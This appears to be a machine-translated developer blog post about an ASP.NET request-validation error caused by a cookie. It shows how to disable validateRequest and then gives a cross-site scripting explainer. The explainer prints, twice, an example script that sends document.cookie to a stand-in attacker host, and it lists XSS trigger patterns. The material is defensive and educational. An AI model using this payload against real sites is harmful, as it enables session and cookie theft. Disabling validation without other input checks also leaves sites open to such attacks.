Potentially dangerous request. Cookies in ASP. NET

Source: Internet
Author: User

Today, when I open a previous project and view the page display in the browser, ----- I cannot open it !!!!

Browser error:

 

Exception details: system. Web. httprequestvalidationexception: a potentially dangerous request.
Cookie value was detected from the client (rmovstore_name = "Rui Ven & #226 ").

The error code line is: httpcookie cookie = request. cookies ["test"]; but I didn't do anything. This project hasn't been changed for a long time. I remember that the last time was normal.
When the cookie is generated at the beginning, I changed the name of the cookie:
Httpcookie cookie = request. Cookies ["test222"]; or not.
Then I searched the internet and found that everyone had this problem, and there was only one solution to the problem. It was all about it... Khan
That is to say:

As you know, this is a security feature designed to prevent scripts from being submitted using HTML forms. Although none of the basic 64 characters in the cookie value is invalid,
However, some combinations are unacceptable, including:
•

<{A-z}

•

<!

•

Expression (

•

On {A-z} * =

•

&#

•

Script {space }*.

If an httprequestvalidationexception is thrown, the only way to solve this problem is to disable these cookies for page verification.

However, If you disable request verification, you must verify any input received from the user.

The request verification feature introduced in ASP. NET 1.1 is designed as the first line of defense against cross-site scripting attacks. Without such authentication, your applications are vulnerable to such attacks.

Simple Solution: (disable validaterequest)

In. net, when a request contains a string such as HTML or Javascript, the system considers the request as a dangerous value. An error is reported immediately.

Solution 1:
Add this sentence to the. aspx file header:
<% @ Page validaterequest = "false" %>

Solution 2:
Modify the Web. config file:
<Configuration>
<System. Web>
<Pages validaterequest = "false"/>
</System. Web>
</Configuration>

Because the default value of validaterequest is true. Set it to false.

However, I tried not to add the page command, and I didn't change web. config. I think since the default value is true, this is a verification check. It seems not good to change it to false. So I used brute force,
Delete all the cookies in the cookies folder and open the website again. OK.

At the same time, however, we also came into use the concept of cross-site scripting. What about the bottom of the system? Wiki has a look and found that this is similar to SQL injection, which is actually a malicious method to attack websites.
Only these Chinese documents are found, which will be stuck here for future reference:

Error level:
Severe (high)
Risks:
Attackers can steal or manipulate user sessions and cookies so that they can act as a legitimate customer.
Technical description:
Cross-site Scripting is a secret attack that allows attackers to obtain valid customer identities and interact with specific servers. Attackers exploit this fact:
The website does not sanitize (disinfect) The javascript entered on the page (usually as a parameter value ). In this way, when the returned information contains the JavaScript code,
This code will be executed in the browser of the client.
This may lead to a link to a website with malicious code. This code string will be executed in this site environment to collect cookies for the site that can be obtained or other windows that are browsing the website,
The attacker will further handle the problem: the attacker will trick the user into clicking the link generated by the attacker. If you click this link, a request is sent to a website containing malicious code as a parameter.
If the website embeds this parameter value (malicious code) in the return, the malicious code will be executed in the browser of the client:

Malicious Code may do the following:

1. Send users' cookies to attackers
2. You can use dom (URLs, form field ...) The obtained information is sent to the attacker.
As a result, the customer's security is threatened.

Some notes:
1. Although the attacker's web site is also involved, it is not included directly. The attacker uses the "Jump Station" method to return to the customer,
It seems that it is legal (it is used as a 'dumping station 'For the malicous script sent by the attacker, to return to the victim's browser, as if it is legitimate .).
In any case, because the user is using this specific website and the website is directly returned, it can be considered as a security vulnerability of this website.

2. This malicious link is generated by the attacker and can be contained in the website maintained by the attacker. Attackers can also send this link to the victim by sending an email.
3. Because the user input is the form field value, you can know where the malicious code comes from,
4. Different browsers have different implementations. Sometimes there is no problem with such browsers, but there will be problems with changing browsers.

Attack method:
Write a link: The parameter value is:

<SCRIPT>
Document. Location = 'HTTP: // attackerhost. Example/cgi-bin/cookiesteal. cgi? + Document. Cookie
</SCRIPT>

In this way, when the server returns, the above script will be automatically executed, the local cookie will find the specified URL, the user information is leaked.

Solution: Enhance parameter verification: make sure to do it. A large number of vulnerabilities are caused by a lot of attack methods due to the absence of parameter verification (there will be a separate description of how to check parameters)

Then there's an article in msdn: how to prevent cross-site scripting in ASP. NET (http://msdn.microsoft.com/en-us/library/ff649310.aspx)
Very professional and detailed explanation!

Error level:

Severe (high)

 

Risks:

Attackers can steal or manipulate user sessions and cookies so that they can act as a legitimate customer.

 

Technical description:

Cross-site Scripting is a secret attack that allows attackers to obtain valid customer identities and interact with specific servers. Attackers exploit this vulnerability
Fact: the website does not clean (disinfect) the JavaScript (usually as a parameter value) entered on the page ). In this way, when the returned information contains the JavaScript code, the code will be executed in the browser of the client. This
May form a link to a website with malicious code. This code string will be executed in this site environment to collect cookies for the site that can be obtained or other windows that are browsing the website,

The attacker will further handle the problem: the attacker will trick the user into clicking the link generated by the attacker. If you click this link
A website that contains malicious code as a parameter initiates a request. If the website embeds this parameter value (malicious code) in the return, the malicious code will be executed in the browser of the client:

Malicious Code may do the following:

1.
Send user cookies to attackers

2.
You can use dom (URLs, form field ...) The obtained information is sent to the attacker.

As a result, the customer's security is threatened.

 

Some notes:

1. Although the attacker's web site is also rolled
But not included directly. Attackers use the "jump" command
The "station" method will return to the customer, as it seems to be legal (it is used as a 'dumping station 'for the malicious script
Sent by the attacker, to return to the victim's browser, as if it is
Legitimate .). In any case, because the user is using this specific website,
It is the direct return of the website, so it can be considered as a security vulnerability of the website.

2.
This malicious link is generated by attackers and can be packaged.
Websites maintained by attackers. Attackers can also send this link to the recipient by sending an email.
Harm.

3.
Because the user input is the form field value, you can know where the malicious code comes from,

4. Different browsers have different implementations. Sometimes there is no problem with such browsers, but there will be problems with changing browsers.

 

Attack method:

 


Write a link: The parameter value is:

<SCRIPT>

Document. Location =
'Http: // attackerhost. Example/cgi-bin/cookiesteal. cgi? + Document. Cookie

</SCRIPT>


In this way, when the server returns, the above script will
The local cookie is detected and the user data is leaked.

 

Solution:

1. Enhance parameter verification:
Be sure to do it. A large number of vulnerabilities are needle
The absence of parameter verification leads to many attack methods (there will be a separate description of how to check parameters)

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.